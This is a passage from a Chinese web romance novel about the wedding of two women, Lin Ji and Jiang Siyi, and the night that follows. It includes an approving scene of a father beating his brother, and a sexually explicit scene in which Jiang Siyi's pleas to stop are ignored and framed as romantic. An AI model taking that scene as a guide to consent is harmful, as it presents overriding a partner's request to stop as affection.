林棘想好了一切,制定了无数的计划,却也知道凡事有万一。 就像她曾经觉得妹妹是自己的未婚妻,只要长大了就能结婚,就能如大人说的那样相伴过一辈子。 没承想,“长大”就两个字,她曲折地走了这么多年多。 脱离那个小村子后,林棘拼命学习、成长,逼自己锻炼身体。 她一遍遍告诉自己,那场磨难什么也不是,她能克服,会遗忘。 它存在的唯一作用是督促自己变得强大。 她会将自己雕刻成自己满意的样子,让亲人引以为傲,谁也别想再伤害她。 是做到了,后来的她强悍、冷静,成就非凡,超越了无数的普通人。 但她也明白,无论现在的自己看上去有多坚不可摧,性格底色依旧是悲观的。 万事俱备,依旧忐忑。 不知道姜司意是不是还怕她,愿不愿意靠近她。 这辈子,还有没有可能让她的“妹妹”喜欢上她。 再一次见到姜司意的那夜,雪下得实在太大了。 还被电话纠缠。 那通其实电话可以挂断的,只是,想到要和姜司意面对面,林棘有些紧张。 打电话,可以帮她掩饰一下紧绷的心情。 透过风雪,她终于看到了小花园里孤独落寞的心上人。 一步步走向她。 帮她拾起掉落在地的花。 艳丽的朱砂碗,包装精致,还有手写卡片,一看就知道姜司意花了很多心思。 即便不是送给她的,林棘依旧将姜司意的心意仔细地擦拭干净。 余光里,发现姜司意在看她。 林棘暗暗深呼吸,压抑着心脏快速的紧缩,不安的跃动。 姜司意对她说“谢谢”的时候,眼眸里是对陌生人的客气和意外。 面上没有任何表情的林棘,心尖上膨胀出难以言喻的酸。 把花放回桌上时,有些舍不得。 迟疑的那一秒,希望姜司意没发现。 如果这束花是送给她的,她不会让它掉在地上。 永远不会让姜司意的心意沾染上任何污泥。 如果是送给她的。 …… 朱砂碗层层叠叠的花瓣散去,那夜的暴雪降落在眼前,大朵大朵,变成了手中的纯白山茶花。 抬眸,这一大捧山茶花是穿着婚纱的姜司意递给她的。 沉甸甸的花束,象征着逆境中的希望、理想之爱,被姜司意交到林棘手中。 实实在在地捧在怀中。恍惚。 周围全是花。 而她的新娘就在眼前,笑靥幸福,深情明媚,动容的双眸里只有她的身影。 庄重的音乐流荡着,亲朋好友们坐在外面,正准备见证这场浪漫的婚礼。 这是婚礼现场。 是她和姜司意的婚礼现场。 就要走向亲朋好友了,礼炮和花瓣都准备好了,林棘却有些出神。 姜司意勾住她的手指。 “走吗?” “走?” 沉浸在记忆里的林棘反应慢了些。 姜司意并不催促,像过往的无数次林棘无微不至照顾着她一样,温柔挽住林棘的胳膊,一起看向前方。 姜司意:“嗯,走。走向我们的一生一世。” 【作者有话说】 林棘:今天是个好日子[垂耳兔头][垂耳兔头]- 还剩一些收尾的情节啦[抱抱] 78 第78章 ◎那第一次接吻是什么时候?◎ 这是一场很简单的婚礼。 没有招摇的车队,没有闹哄哄的接亲,甚至没有伴娘。 只有两位新娘陪伴在彼此身边,是众人唯一的焦点。 今天婚礼宾客的安排、现场的流程以及所有的细节,都是林雪泊和乔槿,加上孔郁琛以及几位亲戚,一同和婚庆团队对接好的。 只需要女儿们去确认一下,走两遍熟悉熟悉流程即可。 林雪泊跟乔槿说,婚礼该是到老了回忆起都非常幸福的一天。 就要开开心心轻轻松松地度过,不想让女儿们累着半点。 只需享受,不要操劳。 她俩的婚裙上,有枚一模一样的胸针,非常抢眼。 上次姐姐给姜司意的那对母亲留下的祖母绿宝石胸针,她一直放在衣帽间内。 最近发生的事情太多,林棘本身又是很少戴饰品的人,一直没发现。 婚礼前,姜司意拉着林棘到衣帽间,将那对胸针拿出来,其中一枚递给林棘。 “命中注定的主人,要不要看看它?” 林棘谨慎地拈起,在灯光下轻转着。 天鹅绒质感的柔光在闪耀,如绿色的流星,永远凝固在这颗宇宙里。 林棘赞叹道:“非常美。” 姜司意:“我妈说,让我把它送给能共度一生的爱人。所以我想……” 林棘:“想在婚礼上戴它。” 姜司意点头。 “这是我妈留给我的唯一的东西了。戴上它,或许我妈妈在天之灵能感应到。” 说“在天之灵”这个词的时候,姜司意有点不好意思。 觉得自己在说些不切实际幼稚的话。 婚礼请柬全部送出去了。 那天在云顶酒店中餐厅,会摆百桌筵席。 亲戚、好友、工作伙伴、同学……全都会到场。 但姜司意知道,爱着她的妈妈,放不下她的妈妈,永远看不到这一幕了。 林棘看她说一半突然停下,有些出神,猜到她在想什么。 都没等婚礼,现在就将胸针戴上。 “我也觉得妈妈的在天之灵会感应到。她会知道你和一个很爱你的人结婚了。你的现在,未来,都会有个人永远站在你身边,支持你的所有决定。” 林棘拇指指腹抚过祖母绿宝石胸针漂亮的表面,轻轻一叹。 可惜无法当面说这句话了。 “谢谢您的胸针,谢谢您给这个世界,给我带来这么好的司意。谢谢妈妈。” 没有定语的“妈妈”是什么意思,姜司意懂的。 险些陷入低潮的心,又一次被温柔的幸福感包围。 她抬眸看身边的人,好不容易恢复的双眼皮大眼睛,此刻眼眶又隐约有些泛红。 见姜司意的眉眼间蒙上一层薄薄的愁绪,林棘的手掌揽住她的后脑,将她带到面前。 将要浮起的泪意,被这忽然而至的抚摸和靠近弄得减退了不少。 眼睫微微扇动。 是要接吻吗…… 姜司意抬起微热的脸庞,仰直了脖子,想乖乖配合。 本来林棘只想亲亲眉心,化解她的愁闷。 可灯光之下的妻子全然不设防,素雅的脸庞上带着隐隐的期待和红晕。 当然要让她每一个期待都成真。 从眉心吻到唇,启开那双甜甜的软唇时,用力环住腰肢。 熟悉的深吻,逐渐深入。 林棘每一次的吻都有种想直入姜司意躯壳最深处的热切。 扶着林棘腰侧的手指,被吻得有些难耐地磨蹭着。 愁绪不见,只剩雪肤上透出的桃粉。 …… 陶绪留下的祖母绿胸针,佩戴在姜司意和林棘的胸口,伴随着誓言,见证她们为彼此戴上戒指。 还是那两枚红钻戒指。 本来林棘想要再去定制更漂亮的婚戒,被姜司意叫停。 红钻戒指已经是钻石中的极品,一枚就要近亿。 更漂亮的得多贵…… 姜司意不舍得林棘烧钱,说现在这对就很好。 林棘以为她就喜欢这枚红钻,是挺漂亮,按照姜司意的气质和手型定制的,的确衬她。 也行,虽然之前公开的时候戴过了,可怎么不算是开过光,沾过喜气了呢? 姜司意为林棘戴好了戒指,林棘捏起她的果冻粉一般的指尖,也将戒指推入无名指。 推入指缝的最深处,轻轻磨着她的指根。 就这样牢牢圈住她。 和当初闪婚时戴素圈戒指的感觉还是不同的。 当时的欢喜带着不确定,仿佛是向谁借来的,也像是冲动之下莽撞的歪打正着。 此时此刻,看戒指稳稳圈住心爱之人的手指,左摇右晃的心被她充满爱意的凝望呵护着。 落在姜司意的手心里,是她这颗心、这辈子,最好的归宿…… 看到祖母绿胸针,坐在台下的姜司聆潸然泪下。 身旁的格伦达本来一直在开心地给两位大美女拍照,女友怎么说哭就哭,连个前摇都没有,格伦达赶紧放下手机去找纸巾。 结果这桌的纸巾盒被乔槿整个端走,给同样泪如雨下的林雪泊抹眼泪去了。 格伦达只好用自己的袖子给姜司聆擦。 今天一早,格伦达到J城换了卡,给姜司聆打电话。 打了半天姜司聆才接。 格伦达:【宝贝,你不会还在睡觉吧?】 躺在床上眼睛都没睁开的姜司聆,抹了抹嘴角的口水,问格伦达: 【你要登机了?】 格伦达:【……我已经到J城了。】 姜司聆沉默一秒,看了眼手机上的时间,整个人从床上弹起来。 糟了糟了,晚了晚了。 她的新婚贺礼,那幅一米八宽两米高的画跟床一样巨大,靠她自己是不可能搬去婚礼现场的。 匆匆忙忙找专门的公司包装好,紧赶慢赶总算赶上了吉时,在婚礼开始前拉着格伦达冲进宴会厅。 气都没捋顺,就看见姜司意和林棘出来了。 汗没下去,眼泪就往外冒。 这一早上心跳就没平复的时候。 格伦达看她哭得梨花带雨,后背一颤一颤的,又心疼又觉得这画面好美。 帮她擦眼泪擦着擦着,顺手拿手机拍一张。 姜司聆哭着哭着,顿了一下。 我在哭,你在记录美好生活? “宝贝别哭了,妈妈会在天上继续爱你们的。” 格伦达为了更好地和姜司聆的家人们互动,来之前突击学习中文,中文水平突飞猛进,以为这句话说得特别好。 结果说完姜司聆哭得更凶了,眼泪根本是开闸放水,哄都哄不住的那种。 引来周围目光的格伦达:…… 姜司聆在这头泣不成声,林雪泊在桌那头眼泪也止不住。 孔郁琛感慨地擦了擦眼角,见林雪泊满脸是泪,纸巾都抽完了,本想从旁桌拿纸,却见乔槿先拿了,他只能作罢。 当年因为自己的过错,让女儿吃尽了苦头,险些毁了她的一生,毁了这个家,林雪泊一直都不怎么搭理他,他也没敢表现半点不乐意,一直在尽力弥补,虽说有时候还是有点弄巧成拙。 他知道小佑爱姜司意,林雪泊对这个媳妇也非常满意。 所以在婚礼前,设立以姜司意为受益人的专项信托当做新婚贺礼。 这专项信托用于姜司意个人的发展、生活、学习和医疗。每年还可以分配固定比例的收益。这是和小佑一模一样的。 他能做的太少,只能力所能及多多付出,尽量少去打扰,少让小佑看到他就想起当年的噩梦。 看女儿们进去换衣服了,一会儿出来敬酒,林雪泊也和乔槿坐在一起,半眼没看他,他在这儿还挺碍事,就去外面抽根烟。 孔郁琛出门时,路过樊青那一桌,向她打了个招呼。 樊青客客气气地应了一声,身边的周霓问:“谁?” 樊青给她倒酒,“BOSS她爸。” 周霓:“原来她有爸。” 樊青:。 周霓的邀请函是姜司意给的。 那天姜司意在院子里呼唤周霓,周霓慢吞吞地现身,依旧是双臂抱在身前,斜靠在最近的树上。 “有事?” 姜司意递来一张工艺精致的请柬,上面还是她手写的清秀钢笔字。 “这是我和林棘的婚礼邀请函,希望你能来。” 周霓有点惊讶。 “我也有?” 姜司意笑着点点头。 “这段时间谢谢你愿意保护我。如果你能来,不用任何的份子钱,抽空来聚聚就好了。” 这还是周霓从小到大第一次收到邀请函。 看着眼前真诚的姜司意,明白林棘为什么能那么喜欢她了。 周霓:“谢了,一定去。” 这不仅是她第一次收到邀请函,更是第一回出席婚宴。 总是躲在黑暗里的人,突然暴露在明亮的灯光下,坐在百桌筵席间,有点不自在。 樊青给她的酒她没接,只喝加入了气泡水的鲜榨石榴汁。 她习惯随时保持清醒状态。 坐在另一桌的岑麓要去接电话,严逾拉了她一把,特好奇: “你到底准备了什么礼物啊?对我还守口如瓶?” 岑麓:“回头你就知道了。” 严逾:“啊?怎么还吊我胃口啊?” 岑麓:“让你不讲武德,吊死你。” 严逾:…… 不是,送个礼物也怎么卷? 岑麓往门口走,也路过樊青和周霓那桌。 本来都走过去了,又退回来。 “周霓?” 周霓发现是岑麓,眼眸微动。 “岑小姐。” “真是你,伤好点了?” “嗯,好多了。” 樊青没想到她俩还认识。 岑麓没多说,只留下一句“发型很适合你”后就走了。 樊青好奇问周霓,“见过?” 周霓眼神有点直,随手拿喝的,“嗯,缅北见过。” 樊青把她拿错的酒杯压下,换果汁过去。 周霓:。 岑麓刚出去,就听到消防通道一声清晰的撞击声,伴随男人的惨叫。 一边快速跟电话里交代完,一边走向消防通道。 打开门一看,见原本西装革履的孔郁琛衣领歪斜,拳头发红。 地上有部被摔碎的手机,边上坐着个捂脸的男人,正是他大哥孔郁洺。 刚才孔郁琛走出宴会厅,看见他大哥和一些孔家的亲戚也在抽烟。 他大哥孔郁洺指着迎宾牌上林棘的名字,说:“名字都给打错了,怎么,‘孔棘’两个字不会写?” 身边的人看到孔郁琛了,拍了拍孔郁洺,有点尴尬道: “名字都改了这么多年了,大喜的日子别念叨了。” 孔郁洺:“我说错了吗?没有吧。这多年了抓着鸡毛当令箭的到底是谁,大家心里都有数。就我弟,没出息那样。当初我说什么来着,娶个太强势的老婆就是会影响家庭——” 话没说完后衣领就被拽住了,这一下太猛,差点窒息。 惊恐之下回头,对上孔郁琛一双愤怒的眼。 “银行晚宴那天,是我最后一次忍你。” 孔郁琛一路将他拖到没人的消防通道,照脸狠狠两拳。 岑麓推开消防通道时看到的就是这一幕。 孔郁洺牙上都是血,指着孔郁琛道:“他,打人!帮我报警!” 岑麓看了眼被摔碎的手机,默默把门关上。 孔郁洺:?? 岑麓靠在门前,听着里面美妙的惨叫,忽悠走所有好奇的吃瓜群众。 这门今天开不了。 小佑大婚,没人能脏她的眼…… 按照惯例,二位新人得一桌桌敬酒。 不过,惯例只是惯例。 所有不利于她的惯例,都会被林棘驱逐出境。 林棘提前跟大家说了,她老婆不会喝酒,所以不敬酒,只喝饮料。 也不怕扫谁的兴,要真感情好,喝饮料都开心。 感情不好,喝多了酒只会互扇耳光。 两位新人大大方方地端着饮料过来“敬酒”。 林雪泊今天实在太开心,上台致辞完之后就抱着雪球,跟乔槿对着喝,哭完笑,笑完哭,情绪起起伏伏嘴里还不停,已经喝得有点晕了。 看女儿们一起过来,站起身的时候晃了一下。 被姜司意扶住。 “妈,小心。” 原本能忍住的眼泪,这会儿又有要失控的迹象。 大喜的日子不想破坏气氛,林雪泊转头将泪抹掉,雪球还舔舔她的手,逗她笑出声。 “我的宝贝女儿们,妈妈只希望你们往后的日子幸福、恩爱,相伴左右,再不分离。” 说到最后,林雪泊的声音都有点抖。 姜司意眼前也有些模糊。 妈妈。 姜司意深呼吸,看向头顶明晃晃的吊灯。 妈妈,你不用担心我了,从今往后我又有家了,有个全心全意爱我的爱人,也多了一个呵护我的母亲。 林棘在一旁盯梢着,生怕姜司意敬第一桌就哭。 结果姜司意很争气,只是红了眼睛,坚持着没落泪。 她答应林棘,今天是开心的日子,绝对不哭的。 林棘注意力都在姜司意身上,给自己杯子里续饮料的时候拿错了。 拿成林雪泊的酒,咕咚咕咚倒满也没发现。 等她们敬到第二桌,林棘一口喝完,被酒精辣得呛了一下才反应过来。 就顾着护老婆,结果自己中招。 林棘耳朵顿时热了,纳闷地看着酒杯。 雪泊女士喝得这么烈? 姜司意抚她的背,“呛着了?” 林棘:“倒错了。” 说得倒是很平静,脸上的酒气也浮得很干脆。 这么说起来,姜司意没怎么看过林棘喝酒。 一些酒会、派对她都喝得很少,平时饮食都很健康,甚至能称之为克制,连家宴都只喝矿泉水。 不知道她酒量如何,突然喝一杯烈酒下去会不会醉。 林棘用指背轻轻*蹭姜司意的掌心。 “没事。” 没事,就是眼前有点开叉,想要直接拎老婆回家过二人世界罢了。 今天来了很多人,除了林棘的亲戚、朋友,合作伙伴,姜司意这边的人也不少。 这些年帮助过姜司意,对她好的人,她都记得,全都亲自送去了邀请函。 连柳姨和余叔都来了,两人喝得脸颊通红,拉着林棘的手一个劲说她俩般配。 姜司意看到一个人,就想起一段回忆,从段凝她们那桌离开时,林棘对她说: “我给你介绍一位很特别的人。魏老师。” 魏老师。 姜司意心头一颤。 就是当年在村子里,好心救助过林棘的那位魏老师。 魏老师比姜司意想的个头要小,瘦瘦小小的,皮肤黝黑,但很精神。 姜司意听她们的对话才知道,林棘建立了助学基金,魏老师负责管理,用来帮助更多的孩子走出困境,实现梦想。 除此之外,林棘还常年资助各大寻找被拐孩子的志愿者协会。 每个月的第三周周末下午,她都会去这些志愿者协会做义工。 这些事,林棘都没跟她说过。 姜司意想起周霓说,“是什么样的经历让她对我们这样的人有同理心”。 是完全超出想象的痛苦经历。 即便如此,习惯用冷淡的外表面对旁人的林棘,依旧在沉默中试着再去爱这个世界。 一蓬蓬的酸胀感往心上涌,姜司意和林棘十指相扣,全程不放开她。 林棘知道姜司意在想什么,潜意识里在担忧什么。 自从跟她说了过往的事,无论是在家还在外面,她都会下意识紧紧握住林棘的手。 有时候睡着睡着还会翻身过来,下意识找她的手。 即便林棘已经二十八岁,早就长成大人,成熟而锋利,姜司意依旧会怕她走丢。 不想姜司意这么紧绷,靠近她说: “别担心,就算再被放逐到天涯海角,我都会再回来缠你。” 林棘一向清冷的脸庞被酒精影响,染上了一层红晕,总是理智的眼眸都浸满了情意。 高朋满座,姜司意谁也不看,只吻林棘的唇。 吻得林棘眼神都凝滞了好几秒。 姜司意:“我不会让你再离开我身边。天涯海角,我跟你去。” 林棘眼眸弯弯的,完全沉醉在这一刻。 她知道这不是梦。 因为曾经那无数个梦境,从来没有梦到这么幸福的时刻。 …… 敬完“酒”,一波波的亲友来合照。 姜司意抱着夹着黄色糖果发卡的雪球,林棘则单手揽着姜司意的腰。 姜司意似乎想到什么,噗呲笑了。 一群人散去的空隙,林棘问她:“笑什么?” 姜司意抿了抿唇,低声在她耳边说: “我想起我们第一次……接吻的时候。真的好奇怪,怎么就突然抱住,就开始亲了。” 奇奇怪怪又恰到好处,如有神助。 “不是。” “嗯?” “第一次接吻,不是那个时候。” 这话太意外了,姜司意:“……啊?那是什么时候?” 段凝和吴经理她们这时候拥过来,将两位新娘挤在中间,进行下一轮的合影。 林棘偏偏不说了。 姜司意脸上挂着笑容,满头问号,怎么都想不起来。 不是那次? 那第一次接吻是什么时候? 我不会真的失忆过吧? 【作者有话说】 林棘:宠妻第三十七步,有些问题需要当场解答,有些则不必[害羞] 79 第79章 ◎生理性的喜欢◎ 宴席接近尾声,林雪泊今晚太开心,喝太多,困了,要回家。 乔槿在她耳边说了句什么,林雪泊神色微变,轻“哼”一声,说: “早该这样了。” 乔槿扶着她上车,就要跟着她上去时,见樊青不知道站在十步之外的地方徘徊多久了。 是有话想说,一晚上目光都在跟乔槿。 好不容易等到散场,看乔槿和林雪泊在一起,没直接过来,乖乖在远处等着。 乔槿一只脚都跨上车了,又退回,对樊青的方向道: “来。” 樊青心头发热,速速靠近。 今天不是工作日,樊青打扮得很轻松,白色短款露腰上衣,下搭短裤短靴。 十月初J城的夜晚已经有了凉意,樊青这一身是还停留在夏季的打扮,乔槿已经裹上披肩了。 高挑的年轻女人站到她对面,像身处两个季节。 明明白白的时差。 秋风扫过,乔槿还将披肩裹紧了点,抬头瞧着樊青,等她开口。 见眼前的女人有些冷,樊青想直接把她拥入怀中。 “怎么不吭声?”乔槿微微偏着头看她,带着点点笑意,“又是来道歉的?” 上回倒是没再把乔槿的嘴唇弄伤,只是……实在太有感觉了,给乔槿肩膀上咬了好几个牙印,第二天醒来樊青自己看到都触目惊心,仿佛乔槿昨晚被野兽袭击过。 乔槿在镜前看到自己身上的痕迹,对床上抱着被子缩成一团的樊青投过去一个无语的眼神。 “不知道的还以为是仇人上门报复,一身厉害全使我身上来了。” 樊青:…… 拿被角挡住脸,就剩一双不知所措的眼睛。 后来乔槿一直在忙,忙自己公司的事,老友的事,家里那些乌烟瘴气的事。 樊青也没闲着,BOSS的婚礼加上公司琐事,每晚都加班到十点多。 两人倒是在对接婚礼细节的时候见过几面,人太多时间又很紧,只能悄悄对接眼神。 偏偏乔槿没空多看她。 偶尔转过来的神色也很淡。 樊青看不出来乔槿有没有讨厌她,忐忐忑忑的。 今晚是最好的机会了,再不来跟乔槿刷个脸,讨讨食,怕她会去养其他的小宠物。 樊青想了半天,不知道该不该道歉,该为什么道歉,怕乔槿又说她道错了歉。 思索半晌,还没开口,先听到乔槿的叹息。 樊青心里一紧,这叹息是什么意思,是不是在嫌弃我? 思绪还在凝结,下一刻就被乔槿单臂捞住了脖子,往下勾,热吻覆上唇,非常有技巧地启开她的唇齿。 坐在车里的林雪泊心里“哦哟”一声,捂着嘴笑,偷偷拍一张。 樊青眼眸都被乔槿吻迷了,想要追吻的时候,乔槿双唇离开,残忍地终止了香吻。 “平时那么聪明,到我面前怎么傻了?” 乔槿轻拍她的脸,坐入车中。 合上的电动门,都切不断樊青拉丝的眼神。 要了命了…… 那我今晚,找不找她去啊? 樊青在秋风四起的夜里心热如火,徘徊了一会儿后,找个角落再把“攻略成熟姐姐的99个套路”文档打开,琢琢磨磨。 车内,乔槿对林雪泊说:“发给我。” 林雪泊将刚才拍下的三张照片里角度和光线最好的一张发给乔槿。 乔槿看了看,樊青被她吻得手都不知道该放哪儿。 嘴角浮起笑意。 可爱…… 姜司意和林棘换掉了繁复的婚裙,和姜司聆格伦达从酒店另一侧的门走出来。 姜司聆今晚也喝得有点多,跟林雪泊同款的肿眼睛和醉醺醺。 全程姜司聆都挂在妹妹身上,万般不舍,仿佛过了今晚就再也见不到妹妹。 跟林棘说她妹妹从小有多乖,多不容易,多优秀,为了让她好好学画,自己放弃了画画的爱好。 “我就这么一个妹妹……你一定要好好对她,不然,不然,不然我做鬼也不放过你!” 不然了半天憋出一个自己先死的“警告”。 姜司意无言以对地给她擦眼泪。 看来……姐姐最近的确看了一些奇怪的电视剧。 想让林棘劝劝,见林棘打开手机记事本,把姜司聆刚才说的点点滴滴全都记进去。 “姐,你刚才说司意小学时有个人递了一个月的情书,对方叫什么名字还记得吗?” 姜司意:。 算了,还有格伦达。 希望格伦达能阻止喝醉的姐姐胡言乱语。 而格伦达本人今晚手机就没放下来过,这会儿还在拍摄,用半生不熟的中文说: “宝贝好美啊,哭起来都这么美,明天你一定会喜欢这视频。” 姜司意:…… 身边还有正常人吗? 最正常的樊青又不见踪影。 严逾非常够朋友,今晚整个云顶中餐厅、花园,加A区停车场全包给了林棘。 负责接送的车全都在停车场待命。 林棘招来其中一辆车,送姜司聆和格伦达上车回酒店。 姜司聆坐上车了,还拉住林棘的手,九分醉意里带着十分的认真。 “小佑,我……是想谢谢你。妈妈过世后,我没见过她这么开心。你看着凶神恶煞、凶不拉几、根本就是王玲的转世、长腿的冰箱。但其实,你做的比我这个亲姐好,好得多……” 林棘:…… 这是在夸我还是骂我? 而且,“王玲是谁?” 姜司意弱声为她解答:“我姐初中班主任。” 林棘:。 生怕女友会继续胡言乱语出更可怕的内容,格伦达将姜司聆的脑袋拨到自己肩头,埋好,微笑着跟姜司意和林棘挥手再见,赶紧走。 姜司意和林棘并肩目送姐姐和格伦达离开。 偷偷瞄一眼身边的老婆,姜司意小声再补充一句: “王玲老师凶归凶,长得很美。” 林棘:“我就当你夸我了。” 月色下,盘着发髻的林棘和平时冷调的美感不太一样。 今晚的妆容很浓艳,是极有杀伤力的美感,成熟的风韵更为突显。 看似冰冷淡漠,但姜司意知道,其实她比谁都会爱人。 又想起她说第一次接吻不是她以为的那次。 刚勾了她的小指想问,拐角转过来一辆气势汹汹的跑车。 跑车轰隆隆地开到姜司意和林棘面前,车门上扬,下来一个冷脸女人。 姜司意见过这女人。 卫总,也就是周霓现任老板。 不过,按照周霓“离家出走”的频率来看,现在这两人还是不是雇佣关系也未可知。 卫肇雪从车里下来,斗篷式外套敞着,里面是一件绛红色长裙,浓墨般的黑发披散着,风带起发丝时,那张骨相绝美的脸被额头上贴着大号的创可贴破了功。 神色犀利中带着烦闷,烦闷里又是掩不住的焦灼,像一只无家可归的女鬼。 她直视林棘,问道:“见到周霓了吗?” 感觉这一幕在不久之前刚刚发生过。 林棘认识卫肇雪很多年了,这女人在商场上无往不胜,最是会玩弄人心,还没看过她跟在谁身后,成天着急找人的模样。 瞥一眼她的额头,林棘:“怎么,又被拉黑了?” 卫肇雪:…… 最烦林棘这张嘴,总是一语切中要害。 放在平时倒是会和她对着阴阳怪气一番,可现在她急着找人,没这心情。 也是服了周霓。 还以为就闹闹脾气,结果一冷战半个月起。 实在憋不下去了,卫肇雪试探着先开口。 一试探才知道,好么,人家早不知道把她拉黑多久了。 砸了她脑袋就消失,真行,完全没把她当欠了债的金主看待。 卫肇雪没再和林棘掰扯,她知道周霓只有林棘这里可以待。 看林棘的态度,可以确认人又跑到她这儿来了。 心里也有点醋,怎么就认定了林棘,三番两次都往林棘这儿钻。 醋完后倒也放心了些。 要是别人,周霓那傻孩子早就被别有用心的人吃得骨头都不剩了,就跟她前雇主一样。 也就林棘洁身自好,眼里只有自家老婆。 “周霓,如果你在这……” 卫肇雪顿了顿,更多的话说不出口,只道: “反正,你想什么时候回来就滚回来。” 说完,“女鬼”身上的戾气不见了,有点丧地坐回车里。 即将离开时,林棘说:“卫总。” 卫肇雪转眸看向她。 林棘面带微笑,“学会正确表达,是脱单的第一步。” 卫肇雪轻蹙眉心,心上荡过百般情绪,面容却半点没变。 临走时,倒是说了句人话。 “祝二位新婚快乐了。” 卫肇雪走了,林棘转身,向路灯之后的黑暗空间说: “没人会到处找对自己不重要的人。” 姜司意知道林棘在跟周霓说话,补充道: “想什么时候回来就回来的意思,应该是‘一直等着你’。” 黑暗处持续了几秒钟的安静后,周霓的声音幽幽传来。 “谢谢,别管了。” 不太了解周霓和卫总之间的事,劝解的好话也是点到为止。 每人都有属于自己的缘分和前路。 周霓这样说了,林棘和姜司意也不再多言。 周霓道:“樊青喝了酒,今晚我送你们回去。” 林棘:“好,谢谢。” 就像林雪泊说的那样,这场婚宴的确不累。 这就是一场人数众多的派对,大家开心地聊聊天,拍拍照,很快结束了。 没带回家疲倦,倒是让姜司意带回来满脑子疑问。 第一次接吻到底是什么时候啊。 周霓在前面开车,姜司意没好意思问,就悄悄给林棘使眼色。 林棘这敏锐的“姜司意专属雷达”,这时候又失灵了。 对她越来越了解的姜司意已经知道,她是故意屏蔽了信号。 这人怎么…… 还是一如既往的坏。 到家关上门,心想这下没得跑了。 正要问,雪球站起上身抓了抓,林棘顺手捞起来它,晃了晃胖嘟嘟蓬松松的小狗。 “走,出去遛遛。” 姜司意跟在林棘和雪球身后,从左边转到右边,又从右边转到左边,用眼神对她进行良心拷问。 林棘居然暂时性把良心都抛弃了,无论她怎么盯都统统忽略,维持着自己的节奏,说亲朋好友送的贺礼有多夸张,从商场卷到婚宴现场。 姜司意的脑袋从她身后侧探出来,直视她的眼睛。 “林女士,你是不是在逃避我啊?一直不说。” “嗯?说什么?” “能制定八百套计划套人的林大聪明,怎么还失忆了?” “近朱者赤,近司意者失忆,正常。” “……” 姜司意又是两只手同时扑向林棘的胳膊。 林棘被她打得噗嗤一下。 “草食动物凶起来还真是……” “还真是吓人!” “还真是一点都吓不到人。” 姜司意:。 “甚至还想让人继续欺负欺负,看看能不能争取再被扑一下。” 姜司意大步往前走,一副抛弃妻女的架势。 林棘看她一怒之下又怒了一下,心里帮她数着。 十、九、八……三、二、一。 怎么不喊住我? 姜司意停下脚步,又调头回来,急了。 “到底什么时候啊!” 林棘这回是彻底笑出声了。 怕她跑了,一手牵雪球一手拉老婆。 林棘:“在外面说会害羞的,回家再告诉你。” “你真的会害羞么?” 姜司意表示怀疑。 “不是我害羞,是你会害羞。” 姜司意:?? 雪球全程斜眼看她俩。 感觉某些铲屎官,正在释放一些专属于配偶的气息。 回到家,帮雪球擦好脚,捋了一把身上软乎乎的毛,就让它自己去玩了。 林棘诚挚邀请姜司意一起洗澡。 一开始姜司意坚决不受她的诱惑,结果被林棘一个吻就勾了进去。 有谁能抗拒林棘美成这样的脸还这么会吻。 反正姜司意不行。 被勾进浴室,抵在墙上吻。 直吻得姜司意清雅古典的脸庞上,浮现出不该属于她的欲色。 她对林棘的吻反应越来越敏感了。 从唇到下巴,再到咽喉,反复轻咬着喉咙。 顶得姜司意扬起脑袋,感觉自己被野兽啃咬着致命处,脊背上一点点战栗出奇异的感觉。 直咬到双腿轻颤,腰肢发软。 唇舌还被林棘的手指探进去玩着。 如玉般骨节完美的女人手的指尖,轻点在她的唇瓣上,轻易分开了软唇。 指骨磨着滚烫湿滑的唇内,掠过小颗的唇珠,又回来,轻轻揉弄。 姜司意眼睫在不自然地闪动。 就这样,身体已经糟透了。 曾经的苦行僧,现在被林棘一碰感觉都好浓烈。 女人手顶开她的双齿,找她水红的小舌。 姜司意想问第一次接吻的事,根本张不开嘴。 双唇被弄得合不上。 喉咙里只能发出微弱的吞咽声,眼角有些生理性的眼泪。 林棘用手指和她热吻着,半晌,抽离。 带出一丝银丝。 姜司意晕忽忽有些空虚,还追着她的手,吻她手腕上的痣。 林棘双眸里浸着迷离的水雾,呼吸都烫得要命。 或许是婚礼氛围的刺激,也或许是酒精的作用,今晚林棘和以往有些不一样。 以往林棘的占有欲就很浓,此刻滚烫的掌心从姜司意的腰揉到腿,皮肉被攥得发痛。 偏偏那痛楚之间透出恰到好处的刺激。 堆出让姜司意晕眩的颤抖。 几乎是被抱起来。 后背挨着浴室的墙,脚尖都快要点不到地。 可想而知的受不了。 冷白皮衬得血红的耳朵像凝固的血珠,已经热得不行了,林棘还又吻又吮的。 哪里最受不住,她就持续侍弄哪里。 又是指尖和手掌一起。 姜司意的思绪被抵磨得一下下的涣散。 水流声融合在一起,根本不知道是顶喷洒下来的,还是从林棘的手腕上滴下来的。 从墙边抱入浴缸,从后面拥上来,长长的手臂穿过姜司意窈窕的腰肢。 一边揉捻,一边从耳朵咬到小翅膀,再嘬她单薄的肩。 姜司意被林棘整个箍在怀里爱着。 某个时刻姜司意浑身急颤,整个腰弯下去。 不知是太舒服还是太受不住,尾调带着破碎感的哭腔。 桃粉色从她起伏的后背皮肤浮上来。 林棘紧紧抱着她,安抚她,慢慢帮她舒缓。 裹好浴巾,晕忽忽地被抱回床上。 整个人揉到床面,三两下又吻起了感觉。 被开发出了对林棘生理性的喜欢,根本抗拒不了。 林棘像她身体世界的掌控者,动一动指尖,整个世界就翻天覆地。 林棘的占有欲像浪潮,无止境地拍打在姜司意的身体上。 断断续续唤着“小佑、小佑……停、停”。 以往的林棘会哄她,今晚却弄得更狠。 “求饶也不会停的。喜欢妹妹,不想停。” 眉眼微垂,浓情染在眼角,眷恋得快要迷失。 听到她突然改变了称呼的表白,姜司意心跳得极快。 什么也没说,林棘的掌心读懂了她此刻感觉浓烈到了什么地步。 …… 第二天醒来,林棘睁开眼,见姜司意已经醒了。 趴在她身边,下巴搁在手背上,正幽怨地看着她。 林棘抬头,在她唇上啾了一下。 “怎么还拿吻贿赂我。”姜司意点她的下巴,“一,定,要,说。” 昨晚又弄到昏睡过去,迄今为止,姜司意依旧不知道第一次接吻的真相。 “我告诉你了。” “哪有。” “就刚才贿赂你的那一下。第一次接吻,你就是这样偷袭我。” “……不会吧?” “会哦。” 姜司意撑着高速运转的脑袋,竭尽全力地回想。 真的完全没印象,可林棘又不可能骗她。 到底什么时候…… “不会是海岛订婚那年的事吧?” 想来想去,只有那一种可能了。 “嗯,也有可能。” 林棘将她抱到怀里,亲亲她的脑袋。 摄入今天份的姜司意。 “也有可能?就是说,还不是吗?” 姜司意真的晕了。 